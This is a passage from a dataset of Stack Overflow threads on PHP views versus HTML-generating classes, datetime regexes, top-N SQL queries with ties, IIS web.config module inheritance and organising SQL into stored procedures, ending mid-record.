qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
sequence | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
37,731 | <p>I seem right now to be embroiled in a debate with another programmer on this project who thinks that views have no merits. He proposes a system that PHP looks something like this:</p>
<pre><code>$draw = new Draw;
$nav = $draw->wideHeaderBox().
$draw->left().
$draw->image().
Image::get($image,60,array('id'=>'header_image')).
$draw->imageEnd().
$draw->leftEnd().
$draw->left(10).
'<div id="header_text">'.
self::defaultSectionText().
'</div>'.
$draw->leftEnd().
</code></pre>
<p>and so on (this is in the controller btw). Now his arguments for this actually make some sense, he claims that if there is a redesign all we need to do is change the HTML in one place and it changes everywhere automatically. For some reason however, this method still rubs me the wrong way, is there any merit to views over this method? I mean besides not having to retype HTML by hand.</p>
| [
{
"answer_id": 37733,
"author": "Mark Ingram",
"author_id": 986,
"author_profile": "https://Stackoverflow.com/users/986",
"pm_score": 1,
"selected": false,
"text": "<p>The argument he uses is the argument you need to <em>have</em> views. Both result in only changing it in one place. However, in his version, you are mixing view markup with business code.</p>\n\n<p>I would suggest using more of a templated design. Do all your business logic in the PHP, setup all variables that are needed by your page. Then just have your page markup reference those variables (and deal with no business logic whatsoever).</p>\n\n<p>Have you looked at smarty? <a href=\"http://smarty.php.net\" rel=\"nofollow noreferrer\">http://smarty.php.net</a></p>\n"
},
{
"answer_id": 37747,
"author": "Akira",
"author_id": 795,
"author_profile": "https://Stackoverflow.com/users/795",
"pm_score": 1,
"selected": false,
"text": "<p>I've done something like that in the past, and it was a waste of time. For instance, you basically have to write wrappers for everything you can already with HTML and you WILL forget some things. When you need to change something in the layout you will think \"Shoot, I forgot about that..now I gotta code another method or add another parameter\".</p>\n\n<p>Ultimately, you will have a huge collection of functions/classes that generate HTML which nobody will know or remember how to use months from now. New developers will curse you for using this system, since they will have to learn it before changing anything. In contrast, more people probably know HTML than your abstract HTML drawing classes...and sometimes you just gotta get your hands dirty with pure HTML!</p>\n"
},
{
"answer_id": 37756,
"author": "Rik Heywood",
"author_id": 4012,
"author_profile": "https://Stackoverflow.com/users/4012",
"pm_score": 1,
"selected": false,
"text": "<p>It looks pretty verbose and hard to follow to be honest and some of the code looks like it is very much layout information.</p>\n\n<p>We always try to split the logic from the output as much as possible. However, it is often the case that the view and data are very tightly linked with both part dictating how the other should be (eg, in a simple e-commerce site, you may decide you want to start showing stock levels next to each product, which would obviously involve changing the view to add appropriate html for this, and the business logic to go and figure out a value for the stock).</p>\n\n<p>If the thought of maintaining 2 files to do this is too much to handle, try splitting things into a \"Gather data\" part and a \"Display View\" part, getting you most of the benefits without increasing the number of files you need to manage.</p>\n"
},
{
"answer_id": 37768,
"author": "Brian Warshaw",
"author_id": 1344,
"author_profile": "https://Stackoverflow.com/users/1344",
"pm_score": 4,
"selected": true,
"text": "<p>HTML time-savers are useful, but they're only useful when they're intuitive and easy-to-understand. Having to instantiate a <code>new Draw</code> just doesn't sound very natural. Furthermore, <code>wideHeaderBox</code> and <code>left</code> will only have significance to someone who intimately knows the system. And what if there <em>is</em> a redesign, like your co-worker muses? What if the <code>wideHeaderBox</code> becomes very narrow? Will you change the markup (and styles, presumable) generated by the PHP method but leave a very inaccurate method name to call the code?</p>\n\n<p>If you guys just <em>have</em> to use HTML generation, you should use it interspersed in view files, and you should use it where it's really necessary/useful, such as something like this:</p>\n\n<pre><code>HTML::link(\"Wikipedia\", \"http://en.wikipedia.org\");\nHTML::bulleted_list(array(\n HTML::list_item(\"Dogs\"),\n HTML::list_item(\"Cats\"),\n HTML::list_item(\"Armadillos\")\n));\n</code></pre>\n\n<p>In the above example, the method names actually make sense to people who aren't familiar with your system. They'll also make more sense to you guys when you go back into a seldom-visited file and wonder what the heck you were doing.</p>\n"
},
{
"answer_id": 38671,
"author": "Robin Barnes",
"author_id": 1349865,
"author_profile": "https://Stackoverflow.com/users/1349865",
"pm_score": 1,
"selected": false,
"text": "<p>I always find it much easier to work directly with html. Theres one less abstraction layer (html -> actual webpage / php function -> html -> actual webpage) to deal with then you just work in HTML.</p>\n\n<p>I really think the 'just have to change it in one place' thing wont work in this case. This is because they'll be so many times when you want to change the output of a function, but only in just one place. Sure you can use arguments but you'll soon end up with some functions having like a dozen arguments. Yuck.</p>\n\n<p>Bear in mind templating languages / systems often let you include sub templates, allowing you to have some reusable blocks of html.</p>\n\n<p>The bottom line is if I had just started at your company and saw code like that everywhere, my first thought would be, 'Damn it! Need a new job again.'</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37731",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2594/"
] | I seem right now to be embroiled in a debate with another programmer on this project who thinks that views have no merits. He proposes a system that PHP looks something like this:
```
$draw = new Draw;
$nav = $draw->wideHeaderBox().
$draw->left().
$draw->image().
Image::get($image,60,array('id'=>'header_image')).
$draw->imageEnd().
$draw->leftEnd().
$draw->left(10).
'<div id="header_text">'.
self::defaultSectionText().
'</div>'.
$draw->leftEnd().
```
and so on (this is in the controller btw). Now his arguments for this actually make some sense, he claims that if there is a redesign all we need to do is change the HTML in one place and it changes everywhere automatically. For some reason however, this method still rubs me the wrong way, is there any merit to views over this method? I mean besides not having to retype HTML by hand. | HTML time-savers are useful, but they're only useful when they're intuitive and easy-to-understand. Having to instantiate a `new Draw` just doesn't sound very natural. Furthermore, `wideHeaderBox` and `left` will only have significance to someone who intimately knows the system. And what if there *is* a redesign, like your co-worker muses? What if the `wideHeaderBox` becomes very narrow? Will you change the markup (and styles, presumable) generated by the PHP method but leave a very inaccurate method name to call the code?
If you guys just *have* to use HTML generation, you should use it interspersed in view files, and you should use it where it's really necessary/useful, such as something like this:
```
HTML::link("Wikipedia", "http://en.wikipedia.org");
HTML::bulleted_list(array(
HTML::list_item("Dogs"),
HTML::list_item("Cats"),
HTML::list_item("Armadillos")
));
```
In the above example, the method names actually make sense to people who aren't familiar with your system. They'll also make more sense to you guys when you go back into a seldom-visited file and wonder what the heck you were doing. |
37,732 | <p>What is the RegEx pattern for DateTime (2008-09-01 12:35:45 ) ?</p>
<p>I get this error:</p>
<blockquote>
<p>No ending delimiter '^' found</p>
</blockquote>
<p>Using:</p>
<pre><code>preg_match('(?n:^(?=\d)((?<day>31(?!(.0?[2469]|11))|30(?!.0?2)|29(?(.0?2)(?=.{3,4}(1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|(16|[2468][048]|[3579][26])00))|0?[1-9]|1\d|2[0-8])(?<sep>[/.-])(?<month>0?[1-9]|1[012])\2(?<year>(1[6-9]|[2-9]\d)\d{2})(?:(?=\x20\d)\x20|$))?(?<time>((0?[1-9]|1[012])(:[0-5]\d){0,2}(?i:\ [AP]M))|([01]\d|2[0-3])(:[0-5]\d){1,2})?$)', '2008-09-01 12:35:45');
</code></pre>
<p>Gives this error: </p>
<blockquote>
<p>Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 0 in E:\www\index.php on line 19</p>
</blockquote>
| [
{
"answer_id": 37742,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 3,
"selected": false,
"text": "<p><a href=\"http://regexlib.com/REDetails.aspx?regexp_id=610\" rel=\"noreferrer\">http://regexlib.com/REDetails.aspx?regexp_id=610</a></p>\n\n<blockquote>\n <p>^(?=\\d)(?:(?:31(?!.(?:0?[2469]|11))|(?:30|29)(?!.0?2)|29(?=.0?2.(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00)))(?:\\x20|$))|(?:2[0-8]|1\\d|0?[1-9]))([-./])(?:1[012]|0?[1-9])\\1(?:1[6-9]|[2-9]\\d)?\\d\\d(?:(?=\\x20\\d)\\x20|$))?(((0?[1-9]|1[012])(:[0-5]\\d){0,2}(\\x20[AP]M))|([01]\\d|2[0-3])(:[0-5]\\d){1,2})?$</p>\n</blockquote>\n\n<hr>\n\n<blockquote>\n <p>This RE validates both dates and/or\n times patterns. Days in Feb. are also\n validated for Leap years. Dates: in\n dd/mm/yyyy or d/m/yy format between\n 1/1/1600 - 31/12/9999. Leading zeroes\n are optional. Date separators can be\n either matching dashes(-), slashes(/)\n or periods(.) Times: in the hh:MM:ss\n AM/PM 12 hour format (12:00 AM -\n 11:59:59 PM) or hh:MM:ss military time\n format (00:00:00 - 23:59:59). The 12\n hour time format: 1) may have a\n leading zero for the hour. 2) Minutes\n and seconds are optional for the 12\n hour format 3) AM or PM is required\n and case sensitive. Military time 1)\n must have a leading zero for all hours\n less than 10. 2) Minutes are\n manditory. 3) seconds are optional.\n Datetimes: combination of the above\n formats. A date first then a time\n separated by a space. ex) dd/mm/yyyy\n hh:MM:ss</p>\n</blockquote>\n\n<hr>\n\n<p><strong>Edit</strong>: Make sure you copy the RegEx from the regexlib.com website as StackOverflow sometimes removes/destroys special chars. </p>\n"
},
{
"answer_id": 37758,
"author": "Tom",
"author_id": 3715,
"author_profile": "https://Stackoverflow.com/users/3715",
"pm_score": 5,
"selected": false,
"text": "<p>A simple version that will work for the format mentioned, but not all the others as per @Espos:</p>\n\n<pre><code>(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}) \n</code></pre>\n"
},
{
"answer_id": 37767,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 7,
"selected": true,
"text": "<p>@Espo: I just have to say that regex is incredible. I'd hate to have to write the code that did something useful with the matches, such as if you wanted to actually find out what date and time the user typed.</p>\n\n<p>It seems like Tom's solution would be more tenable, as it is about a zillion times simpler and with the addition of some parentheses you can easily get at the values the user typed:</p>\n\n<pre><code>(\\d{4})-(\\d{2})-(\\d{2}) (\\d{2}):(\\d{2}):(\\d{2})\n</code></pre>\n\n<p>If you're using perl, then you can get the values out with something like this:</p>\n\n<pre><code>$year = $1;\n$month = $2;\n$day = $3;\n$hour = $4;\n$minute = $5;\n$second = $6;\n</code></pre>\n\n<p>Other languages will have a similar capability. Note that you will need to make some minor mods to the regex if you want to accept values such as single-digit months.</p>\n"
},
{
"answer_id": 37875,
"author": "Imran",
"author_id": 1897,
"author_profile": "https://Stackoverflow.com/users/1897",
"pm_score": -1,
"selected": false,
"text": "<p>PHP preg functions needs your regex to be wrapped with a delimiter character, which can be any character. You can't use this delimiter character without escaping inside the regex. This should work (here the delimiter character is /):</p>\n\n<pre><code>preg_match('/\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}/', '2008-09-01 12:35:45');\n\n// or this, to allow matching 0:00:00 time too.\npreg_match('/\\d{4}-\\d{2}-\\d{2} \\d{1,2}:\\d{2}:\\d{2}/', '2008-09-01 12:35:45');\n</code></pre>\n\n<p>If you need to match lines that contain only datetime, add ^ and $ at the beginning and end of the regex.</p>\n\n<pre><code>preg_match('/^\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}$/', '2008-09-01 12:35:45');\n</code></pre>\n\n<p><a href=\"http://www.php.net/preg-match\" rel=\"nofollow noreferrer\">Link to PHP Manual's preg_match()</a></p>\n"
},
{
"answer_id": 4727571,
"author": "deni",
"author_id": 580368,
"author_profile": "https://Stackoverflow.com/users/580368",
"pm_score": 1,
"selected": false,
"text": "<p>regarding to Imran answer from Sep 1th 2008 at 12:33\nthere is a missing : in the pattern\nthe correct patterns are</p>\n\n<pre><code>preg_match('/\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}/', '2008-09-01 12:35:45', $m1);\nprint_r( $m1 );\npreg_match('/\\d{4}-\\d{2}-\\d{2} \\d{1,2}:\\d{2}:\\d{2}/', '2008-09-01 12:35:45', $m2);\nprint_r( $m2 );\npreg_match('/^\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}$/', '2008-09-01 12:35:45', $m3);\nprint_r( $m3 );\n</code></pre>\n\n<p>this returns</p>\n\n<pre><code>Array ( [0] => 2008-09-01 12:35:45 )\nArray ( [0] => 2008-09-01 12:35:45 )\nArray ( [0] => 2008-09-01 12:35:45 ) \n</code></pre>\n"
},
{
"answer_id": 11794812,
"author": "Javad Yousefi",
"author_id": 616493,
"author_profile": "https://Stackoverflow.com/users/616493",
"pm_score": 2,
"selected": false,
"text": "<pre><code>^([2][0]\\d{2}\\/([0]\\d|[1][0-2])\\/([0-2]\\d|[3][0-1]))$|^([2][0]\\d{2}\\/([0]\\d|[1][0-2])\\/([0-2]\\d|[3][0-1])\\s([0-1]\\d|[2][0-3])\\:[0-5]\\d\\:[0-5]\\d)$\n</code></pre>\n"
},
{
"answer_id": 22798655,
"author": "Philip",
"author_id": 866466,
"author_profile": "https://Stackoverflow.com/users/866466",
"pm_score": 3,
"selected": false,
"text": "<pre><code>$date = \"2014-04-01 12:00:00\";\n\npreg_match('/(\\d{4})-(\\d{2})-(\\d{2}) (\\d{2}):(\\d{2}):(\\d{2})/',$date, $matches);\n\nprint_r($matches);\n</code></pre>\n\n<p>$matches will be:</p>\n\n<pre><code>Array ( \n [0] => 2014-04-01 12:00:00 \n [1] => 2014 \n [2] => 04 \n [3] => 01 \n [4] => 12 \n [5] => 00 \n [6] => 00\n)\n</code></pre>\n\n<p>An easy way to break up a datetime formated string.</p>\n"
},
{
"answer_id": 24689706,
"author": "Duc Tran",
"author_id": 617146,
"author_profile": "https://Stackoverflow.com/users/617146",
"pm_score": -1,
"selected": false,
"text": "<p>Here is a simplified version (originated from Espo's answer). It checks the correctness of date (even leap year), and hh:mm:ss is optional\n<br/> Examples that work:\n<br/>- 31/12/2003 11:59:59\n<br/>- 29-2-2004</p>\n\n<pre><code>^(?=\\d)(?:(?:31(?!.(?:0?[2469]|11))|(?:30|29)(?!.0?2)|29(?=.0?2.(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00)))(?:\\x20|$))|(?:2[0-8]|1\\d|0?[1-9]))([-./])(?:1[012]|0?[1-9])\\1(?:1[6-9]|[2-9]\\d)?\\d\\d(?:(?=\\x20\\d)\\x20|$))(|([01]\\d|2[0-3])(:[0-5]\\d){1,2})?$\n</code></pre>\n"
},
{
"answer_id": 32867745,
"author": "Tornike",
"author_id": 413026,
"author_profile": "https://Stackoverflow.com/users/413026",
"pm_score": 0,
"selected": false,
"text": "<p>Here is my solution:</p>\n\n<pre><code>/^(2[0-9]{3})-(0[1-9]|1[012])-(0[1-9]|[12][0-9]|3[01]) (0[0-9]|1[0-9]|2[0123])\\:([012345][0-9])\\:([012345][0-9])$/u\n</code></pre>\n"
},
{
"answer_id": 40124570,
"author": "Yeongjun Kim",
"author_id": 3793078,
"author_profile": "https://Stackoverflow.com/users/3793078",
"pm_score": -1,
"selected": false,
"text": "<p>Here is my solution:</p>\n\n<pre><code>[12]\\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\\d|3[01]) ([01][0-9]|2[0-3]):[0-5]\\d\n</code></pre>\n\n<p><img src=\"https://www.debuggex.com/i/39LWCacr76aGZfCN.png\" alt=\"Regular expression visualization\"></p>\n\n<p><a href=\"https://www.debuggex.com/r/39LWCacr76aGZfCN\" rel=\"nofollow noreferrer\">Debuggex Demo</a></p>\n\n<p><a href=\"https://regex101.com/r/lbthaT/4\" rel=\"nofollow noreferrer\">https://regex101.com/r/lbthaT/4</a></p>\n"
},
{
"answer_id": 40842114,
"author": "themepark",
"author_id": 7086012,
"author_profile": "https://Stackoverflow.com/users/7086012",
"pm_score": 0,
"selected": false,
"text": "<p>I have modified the regex pattern from <a href=\"http://regexlib.com/REDetails.aspx?regexp_id=610\" rel=\"nofollow noreferrer\">http://regexlib.com/REDetails.aspx?regexp_id=610</a>. The following pattern should match your case.</p>\n\n<pre><code>^(?=\\d)(?:(?:1[6-9]|[2-9]\\d)?\\d\\d([-.\\/])(?:1[012]|0?[1-9])\\1(?:31(?<!.(?:0[2469]|11))|(?:30|29)(?<!.02)|29(?=.0?2.(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00)))(?:\\x20|$))|(?:2[0-8]|1\\d|0?[1-9]))(?:(?=\\x20\\d)\\x20|$))?(((0?[1-9]|1[012])(:[0-5]\\d){0,2}(\\x20[AP]M))|([01]\\d|2[0-3])(:[0-5]\\d){1,2})?$\n</code></pre>\n\n<p>YYYY-MM-DD HH:MM:SS</p>\n"
},
{
"answer_id": 61888323,
"author": "Milkncookiez",
"author_id": 1430394,
"author_profile": "https://Stackoverflow.com/users/1430394",
"pm_score": 1,
"selected": false,
"text": "<p>Adding to @Greg Hewgill answer: if you want to be able to match both date-time and <em>only</em> date, you can make the \"time\" part of the regex optional:</p>\n\n<pre><code>(\\d{4})-(\\d{2})-(\\d{2})( (\\d{2}):(\\d{2}):(\\d{2}))?\n</code></pre>\n\n<p>this way you will match both <code>2008-09-01 12:35:42</code> and <code>2008-09-01</code></p>\n"
},
{
"answer_id": 73302581,
"author": "Seongjoo Park",
"author_id": 11589521,
"author_profile": "https://Stackoverflow.com/users/11589521",
"pm_score": 1,
"selected": false,
"text": "<p>simple regex datetime with validation</p>\n<pre><code>^(\\d{4})-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01]) ([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$\n</code></pre>\n<p>but it can't validation month which not include 31day (ex. 2022-11-31, 2022-02-30)</p>\n"
},
{
"answer_id": 74500646,
"author": "ali t",
"author_id": 6028779,
"author_profile": "https://Stackoverflow.com/users/6028779",
"pm_score": 0,
"selected": false,
"text": "<p>This is my soloution:</p>\n<pre><code>[1-9][0-9][0-9][0-9]-(0[1-9]|1[0-2])-(0[1-9]|1[0-9]|2[0-9]|3[0-1])\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37732",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4013/"
] | What is the RegEx pattern for DateTime (2008-09-01 12:35:45 ) ?
I get this error:
>
> No ending delimiter '^' found
>
>
>
Using:
```
preg_match('(?n:^(?=\d)((?<day>31(?!(.0?[2469]|11))|30(?!.0?2)|29(?(.0?2)(?=.{3,4}(1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|(16|[2468][048]|[3579][26])00))|0?[1-9]|1\d|2[0-8])(?<sep>[/.-])(?<month>0?[1-9]|1[012])\2(?<year>(1[6-9]|[2-9]\d)\d{2})(?:(?=\x20\d)\x20|$))?(?<time>((0?[1-9]|1[012])(:[0-5]\d){0,2}(?i:\ [AP]M))|([01]\d|2[0-3])(:[0-5]\d){1,2})?$)', '2008-09-01 12:35:45');
```
Gives this error:
>
> Warning: preg\_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 0 in E:\www\index.php on line 19
>
>
> | @Espo: I just have to say that regex is incredible. I'd hate to have to write the code that did something useful with the matches, such as if you wanted to actually find out what date and time the user typed.
It seems like Tom's solution would be more tenable, as it is about a zillion times simpler and with the addition of some parentheses you can easily get at the values the user typed:
```
(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2})
```
If you're using perl, then you can get the values out with something like this:
```
$year = $1;
$month = $2;
$day = $3;
$hour = $4;
$minute = $5;
$second = $6;
```
Other languages will have a similar capability. Note that you will need to make some minor mods to the regex if you want to accept values such as single-digit months. |
37,743 | <p>I'd like to find the different ways to solve a real life problem I had: imagine to have a contest, or a game, during which the users collect points. You have to build a query to show the list of users with the best "n" scores. </p>
<p>I'm making an example to clarify. Let's say that this is the Users table, with the points earned:</p>
<pre><code>UserId - Points
1 - 100
2 - 75
3 - 50
4 - 50
5 - 50
6 - 25
</code></pre>
<p>If I want the top 3 scores, the result will be:</p>
<pre><code>UserId - Points
1 - 100
2 - 75
3 - 50
4 - 50
5 - 50
</code></pre>
<p>This can be realized in a view or a stored procedure, as you want. My target db is Sql Server. Actually I solved this, but I think there are different way to obtain the result... faster or more efficent than mine.</p>
| [
{
"answer_id": 37750,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 5,
"selected": true,
"text": "<p>Untested, but should work:</p>\n\n<pre><code>select * from users where points in\n(select distinct top 3 points from users order by points desc)\n</code></pre>\n"
},
{
"answer_id": 37753,
"author": "Tom",
"author_id": 3715,
"author_profile": "https://Stackoverflow.com/users/3715",
"pm_score": 0,
"selected": false,
"text": "<p>@bosnic, I don't think that will work as requested, I'm not that familiar with MS SQL but I would expect it to return only 3 rows, and ignore the fact that 3 users are tied for 3rd place.</p>\n\n<p>Something like this should work:</p>\n\n<pre><code>select userid, points \n from scores \n where points in (select top 3 points \n from scores \n order by points desc) \n order by points desc\n</code></pre>\n"
},
{
"answer_id": 37760,
"author": "Rob Allen",
"author_id": 149,
"author_profile": "https://Stackoverflow.com/users/149",
"pm_score": 0,
"selected": false,
"text": "<p>@Espo thanks for the reality check - added the sub-select to correct for that.</p>\n\n<p>I think the easiest response is to:</p>\n\n<pre><code>select userid, points from users\nwhere points in (select distinct top N points from users order by points desc) \n</code></pre>\n\n<p>If you want to put that in a stored proc which takes N as a parameter, then you'll either have to do read the SQL into a variable then execute it, or do the row count trick:</p>\n\n<pre><code>declare @SQL nvarchar(2000)\nset @SQL = \"select userID, points from users \"\nset @SQL = @SQL + \" where points in (select distinct top \" + @N\nset @SQL = @SQL + \" points from users order by points desc)\"\n\nexecute @SQL\n</code></pre>\n\n<p><strike>or </p>\n\n<pre><code>SELECT UserID, Points\nFROM (SELECT ROW_NUMBER() OVER (ORDER BY points DESC)\n AS Row, UserID, Points FROM Users)\n AS usersWithPoints\nWHERE Row between 0 and @N\n</code></pre>\n\n<p></strike>\nBoth examples assume SQL Server and haven't been tested.</p>\n"
},
{
"answer_id": 37765,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 0,
"selected": false,
"text": "<p>@Rob#37760:</p>\n\n<pre><code>select top N points from users order by points desc\n</code></pre>\n\n<p>This query will only select 3 rows if N is 3, see the question. \"Top 3\" should return 5 rows.</p>\n"
},
{
"answer_id": 37781,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 1,
"selected": false,
"text": "<p>How about:</p>\n\n<pre><code>select top 3 with ties points \nfrom scores\norder by points desc\n</code></pre>\n\n<p>Not sure if \"with ties\" works on anything other the SQL Server.</p>\n\n<p>On SQL Server 2005 and up, you can pass the \"top\" number as an int parameter:</p>\n\n<pre><code>select top (@n) with ties points \nfrom scores\norder by points desc\n</code></pre>\n"
},
{
"answer_id": 37813,
"author": "crucible",
"author_id": 3717,
"author_profile": "https://Stackoverflow.com/users/3717",
"pm_score": 2,
"selected": false,
"text": "<p>Here's one that works - I don't know if it's more efficient, and it's SQL Server 2005+</p>\n\n<pre><code>with scores as (\n select 1 userid, 100 points\n union select 2, 75\n union select 3, 50\n union select 4, 50\n union select 5, 50\n union select 6, 25\n),\nresults as (\n select userid, points, RANK() over (order by points desc) as ranking \n from scores\n)\nselect userid, points, ranking\nfrom results\nwhere ranking <= 3\n</code></pre>\n\n<p>Obviously the first \"with\" is to set up the values, so you can test the second with, and final select work - you could start at \"with results as...\" if you were querying against an existing table.</p>\n"
},
{
"answer_id": 37904,
"author": "Marius",
"author_id": 1008,
"author_profile": "https://Stackoverflow.com/users/1008",
"pm_score": 0,
"selected": false,
"text": "<p>@Matt Hamilton</p>\n\n<p>Your answer works with the example above but would not work if the data set was 100, 75, 75, 50, 50 (where it would return only 3 rows). TOP WITH TIES only includes the ties of the last row returned...</p>\n"
},
{
"answer_id": 37914,
"author": "NakedBrunch",
"author_id": 3742,
"author_profile": "https://Stackoverflow.com/users/3742",
"pm_score": 0,
"selected": false,
"text": "<p>Crucible got it (assuming SQL 2005 is an option).</p>\n"
},
{
"answer_id": 89325,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>Actually a modification to the WHERE IN, utilizing an INNER JOIN will be much faster.</p>\n\n<pre><code>SELECT \n userid, points \nFROM users u\nINNER JOIN \n(\n SELECT DISTINCT TOP N \n points \n FROM users \n ORDER BY points DESC\n) AS p ON p.points = u.points\n</code></pre>\n"
},
{
"answer_id": 100867,
"author": "kedar kamthe",
"author_id": 18709,
"author_profile": "https://Stackoverflow.com/users/18709",
"pm_score": 0,
"selected": false,
"text": "<p>Try this</p>\n\n<pre><code>select top N points from users order by points desc\n</code></pre>\n"
},
{
"answer_id": 19721941,
"author": "Krishna Gupta",
"author_id": 2443267,
"author_profile": "https://Stackoverflow.com/users/2443267",
"pm_score": 0,
"selected": false,
"text": "<p>Hey I found all the other answers bit long and inefficient \nMy answer would be: </p>\n\n<p><code>select * from users order by points desc limit 0,5</code></p>\n\n<p>this will render top 5 points</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37743",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1178/"
] | I'd like to find the different ways to solve a real life problem I had: imagine to have a contest, or a game, during which the users collect points. You have to build a query to show the list of users with the best "n" scores.
I'm making an example to clarify. Let's say that this is the Users table, with the points earned:
```
UserId - Points
1 - 100
2 - 75
3 - 50
4 - 50
5 - 50
6 - 25
```
If I want the top 3 scores, the result will be:
```
UserId - Points
1 - 100
2 - 75
3 - 50
4 - 50
5 - 50
```
This can be realized in a view or a stored procedure, as you want. My target db is Sql Server. Actually I solved this, but I think there are different way to obtain the result... faster or more efficent than mine. | Untested, but should work:
```
select * from users where points in
(select distinct top 3 points from users order by points desc)
``` |
37,759 | <p>I have the following code in a web.config file of the default IIS site.</p>
<pre><code><httpModules>
<add type="MDL.BexWebControls.Charts.ChartStreamHandler,Charts" name="ChartStreamHandler"/>
</httpModules>
</code></pre>
<p>Then when I setup and browse to a virtual directory I get this error</p>
<p>Could not load file or assembly 'Charts' or one of its dependencies. The system cannot find the file specified.</p>
<p>The virtual directory is inheriting the modules from the default web.config.</p>
<p>How do you stop this inheritance?</p>
| [
{
"answer_id": 37762,
"author": "John Owen",
"author_id": 2471,
"author_profile": "https://Stackoverflow.com/users/2471",
"pm_score": 5,
"selected": true,
"text": "<p>I've found the answer. Wrap the HttpModule section in location tags and set the inheritInChildApplications attribute to false.</p>\n\n<pre><code><location path=\".\" inheritInChildApplications=\"false\">\n <system.web>\n <httpModules>\n <add type=\"MDL.BexWebControls.Charts.ChartStreamHandler,Charts\" name=\"ChartStreamHandler\"/>\n </httpModules>\n </system.web>\n</location>\n</code></pre>\n\n<p>Now any virtual directories will not inherit the settings in this location section.</p>\n\n<p>@GateKiller This isn't another website, its a virtual directory so inheritance does occur.</p>\n\n<p>@petrich I've had hit and miss results using <code><remove /></code>. I have to remember to add it to every virtual directory which is a pain.</p>\n"
},
{
"answer_id": 37763,
"author": "rpetrich",
"author_id": 4007,
"author_profile": "https://Stackoverflow.com/users/4007",
"pm_score": 2,
"selected": false,
"text": "<p>Add the following to the virtual directory's web.config file:</p>\n\n<pre><code><httpModules>\n <remove name=\"ChartStreamHandler\"/>\n</httpModules>\n</code></pre>\n"
},
{
"answer_id": 37766,
"author": "GateKiller",
"author_id": 383,
"author_profile": "https://Stackoverflow.com/users/383",
"pm_score": -1,
"selected": false,
"text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/ms178685.aspx\" rel=\"nofollow noreferrer\">According to Microsoft</a>, other websites do not inherit settings from the Default Website. Do you mean you are editing the default web.config which is located in the same folder as the machine.config?</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37759",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2471/"
] | I have the following code in a web.config file of the default IIS site.
```
<httpModules>
<add type="MDL.BexWebControls.Charts.ChartStreamHandler,Charts" name="ChartStreamHandler"/>
</httpModules>
```
Then when I setup and browse to a virtual directory I get this error
Could not load file or assembly 'Charts' or one of its dependencies. The system cannot find the file specified.
The virtual directory is inheriting the modules from the default web.config.
How do you stop this inheritance? | I've found the answer. Wrap the HttpModule section in location tags and set the inheritInChildApplications attribute to false.
```
<location path="." inheritInChildApplications="false">
<system.web>
<httpModules>
<add type="MDL.BexWebControls.Charts.ChartStreamHandler,Charts" name="ChartStreamHandler"/>
</httpModules>
</system.web>
</location>
```
Now any virtual directories will not inherit the settings in this location section.
@GateKiller This isn't another website, its a virtual directory so inheritance does occur.
@petrich I've had hit and miss results using `<remove />`. I have to remember to add it to every virtual directory which is a pain. |
37,791 | <p>At the moment my code (PHP) has too many SQL queries in it. eg...</p>
<pre><code>// not a real example, but you get the idea...
$results = $db->GetResults("SELECT * FROM sometable WHERE iUser=$userid");
if ($results) {
// Do something
}
</code></pre>
<p>I am looking into using stored procedures to reduce this and make things a little more robust, but I have some concerns..</p>
<p>I have hundreds of different queries in use around the web site, and many of them are quite similar. How should I manage all these queries when they are removed from their context (the code that uses the results) and placed in a stored procedure on the database?</p>
| [
{
"answer_id": 37795,
"author": "Matthew Watson",
"author_id": 3839,
"author_profile": "https://Stackoverflow.com/users/3839",
"pm_score": 2,
"selected": false,
"text": "<p>Use a ORM package, any half decent package will allow you to</p>\n\n<ol>\n<li>Get simple result sets</li>\n<li>Keep your complex SQL close to the data model</li>\n</ol>\n\n<p>If you have very complex SQL, then views are also nice to making it more presentable to different layers of your application.</p>\n"
},
{
"answer_id": 37801,
"author": "mattruma",
"author_id": 1768,
"author_profile": "https://Stackoverflow.com/users/1768",
"pm_score": 2,
"selected": false,
